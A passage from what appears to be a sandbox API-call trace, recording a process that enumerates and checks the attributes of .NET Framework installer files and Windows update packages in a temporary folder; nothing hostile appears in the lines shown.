cAlternateFileName="RGB9RA~2.MSI")) returned 1 [0112.973] GetCurrentThreadId () returned 0x9b0 [0112.973] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0112.973] GetCurrentThreadId () returned 0x9b0 [0112.973] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1 [0112.973] GetCurrentThreadId () returned 0x9b0 [0112.973] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1 [0112.973] GetCurrentThreadId () returned 0x9b0 [0112.973] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1 [0112.973] GetCurrentThreadId () returned 0x9b0 [0112.973] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1 [0112.974] GetCurrentThreadId () returned 0x9b0 [0112.974] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0112.974] GetCurrentThreadId () returned 0x9b0 [0112.974] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0112.974] GetCurrentThreadId () returned 0x9b0 [0112.974] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325f530, Size=0xe8) returned 0x33d1650 [0112.974] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Strings.xml", cAlternateFileName="")) returned 1 [0112.974] GetCurrentThreadId () returned 0x9b0 [0112.974] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0112.974] GetCurrentThreadId () returned 0x9b0 [0112.974] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1 [0112.975] GetCurrentThreadId () returned 0x9b0 [0112.975] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0112.975] GetCurrentThreadId () returned 0x9b0 [0112.975] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1 [0112.975] GetCurrentThreadId () returned 0x9b0 [0112.975] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0112.975] GetCurrentThreadId () returned 0x9b0 [0112.975] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0112.975] GetCurrentThreadId () returned 0x9b0 [0112.975] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0 [0112.975] GetCurrentThreadId () returned 0x9b0 [0112.975] FindClose (in: hFindFile=0x10f7410 | out: hFindFile=0x10f7410) returned 1 [0112.976] GetCurrentThreadId () returned 0x9b0 [0112.976] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1025" (normalized: "c:\\588bce7c90097ed212\\1025")) returned 0x10 [0112.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0112.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0112.978] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1028" (normalized: "c:\\588bce7c90097ed212\\1028")) returned 0x10 [0112.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0112.979] GetCurrentThreadId () returned 0x9b0 [0112.979] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1029" (normalized: "c:\\588bce7c90097ed212\\1029")) returned 0x10 [0112.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0112.979] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1030" (normalized: "c:\\588bce7c90097ed212\\1030")) returned 0x10 [0112.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0112.980] GetCurrentThreadId () returned 0x9b0 [0112.980] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1031" (normalized: "c:\\588bce7c90097ed212\\1031")) returned 0x10 [0112.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0112.981] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881108, Size=0x20) returned 0x30282d8 [0112.981] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1032" (normalized: "c:\\588bce7c90097ed212\\1032")) returned 0x10 [0112.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf48 | out: hHeap=0x2ad0000) returned 1 [0112.982] GetCurrentThreadId () returned 0x9b0 [0112.982] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1033" (normalized: "c:\\588bce7c90097ed212\\1033")) returned 0x10 [0112.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cd40 | out: hHeap=0x2ad0000) returned 1 [0112.983] GetCurrentThreadId () returned 0x9b0 [0112.983] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1035" (normalized: "c:\\588bce7c90097ed212\\1035")) returned 0x10 [0112.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cd90 | out: hHeap=0x2ad0000) returned 1 [0112.983] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1036" (normalized: "c:\\588bce7c90097ed212\\1036")) returned 0x10 [0112.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cbd8 | out: hHeap=0x2ad0000) returned 1 [0112.984] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30282d8, Size=0x40) returned 0x3887800 [0112.984] GetCurrentThreadId () returned 0x9b0 [0112.984] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1037" (normalized: "c:\\588bce7c90097ed212\\1037")) returned 0x10 [0112.985] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0112.985] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1038" (normalized: "c:\\588bce7c90097ed212\\1038")) returned 0x10 [0112.985] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0112.985] GetCurrentThreadId () returned 0x9b0 [0112.985] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1040" (normalized: "c:\\588bce7c90097ed212\\1040")) returned 0x10 [0112.986] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0112.986] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1041" (normalized: "c:\\588bce7c90097ed212\\1041")) returned 0x10 [0112.986] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0112.987] GetCurrentThreadId () returned 0x9b0 [0112.987] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1042" (normalized: "c:\\588bce7c90097ed212\\1042")) returned 0x10 [0112.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0112.987] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1043" (normalized: "c:\\588bce7c90097ed212\\1043")) returned 0x10 [0112.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0112.987] GetCurrentThreadId () returned 0x9b0 [0112.987] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1044" (normalized: "c:\\588bce7c90097ed212\\1044")) returned 0x10 [0112.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0112.988] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1045" (normalized: "c:\\588bce7c90097ed212\\1045")) returned 0x10 [0112.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0112.989] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3887800, Size=0x64) returned 0x2a19b98 [0112.989] GetCurrentThreadId () returned 0x9b0 [0112.990] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1046" (normalized: "c:\\588bce7c90097ed212\\1046")) returned 0x10 [0112.990] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0112.990] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1049" (normalized: "c:\\588bce7c90097ed212\\1049")) returned 0x10 [0112.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0112.991] GetCurrentThreadId () returned 0x9b0 [0112.991] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1053" (normalized: "c:\\588bce7c90097ed212\\1053")) returned 0x10 [0112.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0112.991] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1055" (normalized: "c:\\588bce7c90097ed212\\1055")) returned 0x10 [0112.992] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0112.992] GetCurrentThreadId () returned 0x9b0 [0112.992] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\2052" (normalized: "c:\\588bce7c90097ed212\\2052")) returned 0x10 [0112.992] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0112.993] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\2070" (normalized: "c:\\588bce7c90097ed212\\2070")) returned 0x10 [0112.993] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0112.993] GetCurrentThreadId () returned 0x9b0 [0112.993] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\3076" (normalized: "c:\\588bce7c90097ed212\\3076")) returned 0x10 [0112.993] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0112.993] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\3082" (normalized: "c:\\588bce7c90097ed212\\3082")) returned 0x10 [0112.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0112.994] GetCurrentThreadId () returned 0x9b0 [0112.994] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\Client" (normalized: "c:\\588bce7c90097ed212\\client")) returned 0x10 [0112.995] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0112.995] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19b98, Size=0x8c) returned 0x2ac0ca0 [0112.995] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 0x80 [0112.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0112.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0112.996] GetCurrentThreadId () returned 0x9b0 [0112.996] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 0x80 [0112.997] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0112.997] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\Extended" (normalized: "c:\\588bce7c90097ed212\\extended")) returned 0x10 [0112.997] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0112.997] GetCurrentThreadId () returned 0x9b0 [0112.997] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\Graphics" (normalized: "c:\\588bce7c90097ed212\\graphics")) returned 0x10 [0112.999] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0112.999] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 0x80 [0113.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffb8 | out: hHeap=0x2ad0000) returned 1 [0113.000] GetCurrentThreadId () returned 0x9b0 [0113.000] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz")) returned 0x80 [0113.001] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0113.001] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi")) returned 0x80 [0113.001] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0113.001] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881198, Size=0x20) returned 0x30282d8 [0113.001] GetCurrentThreadId () returned 0x9b0 [0113.002] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 0x80 [0113.002] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0113.002] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz")) returned 0x20 [0113.002] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0113.002] GetCurrentThreadId () returned 0x9b0 [0113.003] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 0x80 [0113.003] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0113.003] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 0x80 [0113.003] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0113.004] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30282d8, Size=0x40) returned 0x38877b8 [0113.004] GetCurrentThreadId () returned 0x9b0 [0113.004] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 0x80 [0113.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0113.004] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 0x80 [0113.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0113.005] GetCurrentThreadId () returned 0x9b0 [0113.005] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 0x80 [0113.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0113.005] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 0x80 [0113.006] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0113.006] GetCurrentThreadId () returned 0x9b0 [0113.006] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 0x80 [0113.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0113.007] GetCurrentThreadId () returned 0x9b0 [0113.007] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 0x80 [0113.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffe8 | out: hHeap=0x2ad0000) returned 1 [0113.010] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 0x80 [0113.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0113.010] GetCurrentThreadId () returned 0x9b0 [0113.010] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 0x80 [0113.011] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0113.011] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38877b8, Size=0x64) returned 0x2a19658 [0113.011] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 0x80 [0113.011] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200d8 | out: hHeap=0x2ad0000) returned 1 [0113.011] GetCurrentThreadId () returned 0x9b0 [0113.011] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 0x80 [0113.011] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0113.011] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 0x80 [0113.012] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffe8 | out: hHeap=0x2ad0000) returned 1 [0113.012] GetCurrentThreadId () returned 0x9b0 [0113.012] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 0x80 [0113.012] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20138 | out: hHeap=0x2ad0000) returned 1 [0113.012] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 0x80 [0113.012] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0113.012] GetCurrentThreadId () returned 0x9b0 [0113.012] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu")) returned 0x80 [0113.013] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0113.013] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu")) returned 0x80 [0113.013] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7a8 | out: hHeap=0x2ad0000) returned 1 [0113.014] GetCurrentThreadId () returned 0x9b0 [0113.014] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu")) returned 0x80 [0113.014] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aaa8 | out: hHeap=0x2ad0000) returned 1 